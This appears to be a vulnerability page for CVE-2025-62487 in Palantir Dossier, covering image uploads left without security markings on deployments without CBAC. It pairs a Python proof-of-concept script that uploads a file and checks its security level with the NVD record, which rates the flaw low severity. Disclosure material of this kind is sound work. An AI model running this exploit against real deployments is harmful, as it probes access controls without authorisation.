CVE-2025-62487

# CVE-2025-62487 PoC - Palantir Dossier 图像安全标记缺失 # 攻击条件：低权限用户账户 + 非CBAC配置环境 import requests import json TARGET_URL = "https://vulnerable-dossier.example.com" ATTACKER_TOKEN = "<low_privilege_user_token>" def check_cbac_configuration(): """检查目标部署是否配置了CBAC""" response = requests.get( f"{TARGET_URL}/api/v1/config", headers={"Authorization": f"Bearer {ATTACKER_TOKEN}"} ) config = response.json() return config.get("cbac_enabled", False) def upload_image_without_security_marking(image_path): """上传图像文件，测试安全标记机制""" with open(image_path, "rb") as f: files = {"file": f} response = requests.post( f"{TARGET_URL}/api/v1/uploads", headers={"Authorization": f"Bearer {ATTACKER_TOKEN}"}, files=files ) return response.json() def check_uploaded_file_security_level(file_id): """检查已上传文件的安全级别和访问权限""" response = requests.get( f"{TARGET_URL}/api/v1/uploads/{file_id}", headers={"Authorization": f"Bearer {ATTACKER_TOKEN}"} ) upload_info = response.json() # 检查是否存在安全标记缺失问题 if upload_info.get("security_level") == "CUSTOM" and not upload_info.get("markings"): print("[VULNERABLE] File has CUSTOM security level with no markings!") print(f"Default groups: {upload_info.get('groups', [])}") return True return False def exploit(): """执行漏洞利用""" # 1. 检查CBAC配置 cbac_enabled = check_cbac_configuration() if cbac_enabled: print("[SAFE] CBAC is enabled, vulnerability may be mitigated") return False # 2. 上传图像文件 file_info = upload_image_without_security_marking("test_image.jpg") file_id = file_info.get("id") # 3. 检查安全级别 is_vulnerable = check_uploaded_file_security_level(file_id) if is_vulnerable: print("[EXPLOIT SUCCESS] Attacker can access files with inadequate security marking") return True return False if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2025-62487", "sourceIdentifier": "[email protected]", "published": "2026-01-09T22:16:00.260", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "On October 1, 2025, Palantir discovered that images uploaded through the Dossier front-end app were not being marked correctly with the proper security levels. The regression was traced back to a change in May 2025, which was meant to allow file uploads to be shared among different artifacts (e.g. other dossiers and presentations).\n\n\nOn deployments configured with CBAC, the front-end would present a security picker dialog to set the security level on the uploads, thereby mitigating the issue.\n\n\nOn deployments without a CBAC configuration, no security picker dialog appears, leading to a security level of CUSTOM with no markings or datasets selected. The resulting markings and groups for the file uploads thus will be only those added by the default authorization rules defined in the Auth Chooser configuration. On most environments, it is expected that the default authorization rules only add the Everyone group."}, {"lang": "es", "value": "El 1 de octubre de 2025, Palantir descubrió que las imágenes subidas a través de la aplicación de interfaz (front-end) de Dossier no estaban siendo marcadas correctamente con los niveles de seguridad adecuados. La regresión se rastreó hasta un cambio en mayo de 2025, que tenía como objetivo permitir que las subidas de archivos se compartieran entre diferentes artefactos (por ejemplo, otros dosieres y presentaciones).\n\nEn despliegues configurados con CBAC, la interfaz (front-end) presentaría un diálogo de selección de seguridad para establecer el nivel de seguridad en las subidas, mitigando así el problema.\n\nEn despliegues sin una configuración de CBAC, no aparece ningún diálogo de selección de seguridad, lo que lleva a un nivel de seguridad de CUSTOM sin marcas ni conjuntos de datos seleccionados. Las marcas y grupos resultantes para las subidas de archivos, por lo tanto, serán solo aquellos añadidos por las reglas de autorización predeterminadas definidas en la configuración de Auth Chooser. En la mayoría de los entornos, se espera que las reglas de autorización predeterminadas solo añadan el grupo Todos."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:N/A:N", "baseScore": 3.5, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "references": [{"url": "https://palantir.safebase.us/?tcuUid=c91a1b4f-72e7-4959-9e2d-3a341e5c7a1f", "source": "[email protected]"}]}}